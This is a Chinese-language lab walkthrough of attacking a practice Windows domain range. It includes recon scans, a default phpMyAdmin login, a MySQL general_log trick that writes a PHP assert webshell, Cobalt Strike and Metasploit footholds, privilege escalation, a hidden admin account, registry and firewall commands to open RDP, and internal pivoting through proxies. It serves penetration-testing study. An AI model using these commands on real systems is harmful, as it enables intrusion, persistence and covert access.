文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
环境配置
kali:nat模式-192.168.80.128
win7:nat模式-192.168.80.129、仅主机模式-192.168.52.0/24
win2k3:仅主机模式-192.168.52.0/24
win2008R2:仅主机模式-192.168.52.0/24
信息收集
nmap -sC -sS -p0-65535 192.168.80.129
dirb http://192.168.80.129 | grep 200
边界攻击
首页是访问/phpinfo.php,获得了绝对路径和各个版本
然后查看phpMyadmin,尝试默认用户名和密码,root/root
成功(我真的不知道会这么顺利,惊呆了,这是正常流程嘛)
尝试写后门,查看属性secure_file_priv,发现无法写入文件
回过头发现phpmyadmin的版本为3.5.8.2,通过searchsploit查找相关内容,有一个接近版本,尝试一下
searchsploit phpmyadmin -w -t
查找后
https://www.exploit-db.com/exploits/25003
按照步骤修改表前缀,没成功
网上找到另一种写入一句话的方式https://www.cnblogs.com/pt007/p/11860337.html
原理:
通过general_log和general_log_file来获取webshell
mysql打开general log之后,所有的查询语句都可以在general log文件中以可读的方式得到,但是这样general log文件会非常大,所以默认都是关闭的。有的时候为了查错等原因,还是需要暂时打开general log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,如果将general_log开关打开,general_log_file设置为一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。在mysql中执行查询:
set global general_log=‘on’;
SET global general_log_file=‘D:/phpStudy/WWW/cmd.php’;
SELECT ‘<?php assert($_POST["cmd"]);?>’;
查询gengeral,并修改
SHOW GLOBAL VARIABLES LIKE ‘%general%’
SET GLOBAL general_log = ‘on’
设置general_log_file文件
SET GLOBAL general_log_file=‘C:/phpStudy/WWW/webshell.php’(输入’',需要注意双写转义)
写入webshell,并访问
上传小马后,尝试上传cs后门
终端内运行,成功上线,还是Administrator身份。
不习惯CS的可以尝试msf和cs联动:
闭门羹
尝试hashdump发现权限不够,先提权,然后获取hash
这边解不了hash,所以尝试添加用户,并加进administrators,后来了解到用户后加入$符号,可以添加为隐藏用户。
添加隐藏用户
开启3389端口
run post/windows/manage/enable_rdp
发现出现提示,此时若管理员在线,立刻发现问题
此时我们回到CS,尝试越过提示。
成功3389
#另一种方式
1、查看rdp是否开启:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
注意:1关闭,0开启。
2、查看rdp服务对应的端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
3、如果发现3389未打开,可以使用以下方式开启
修改注册表,允许远程桌面连接:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
4、设置防火墙,允许远程桌面连接:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
探测内网主机
run arp_scanner -r 192.168.52.0/24
#windows:for /l %i in (1,1,255) do @ping 192.168.64.%i -w 1 -n 1|find /i "ttl="
#linux:for k in $( seq 1 255);do ping -c 1 192.168.99.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
本机为143
所以确定的IP为138、141
尝试CS搭建代理
#PASS2
[MSF]崩不住了,大佬告诉我msf可以模块自动路由,并设置代理,没好好读书啊!
run post/mult/manage/autoroute
background
use auxiliary/server/socks_proxy
run后通过jobs查看状态
配置/etc/proxychains.conf后
proxychains nmap -sT -Pn 192.168.52.139
当然,我舍弃了这种方式,采用frp,后续的话,因为一些原因没有继续做完…暂时先到此结束吧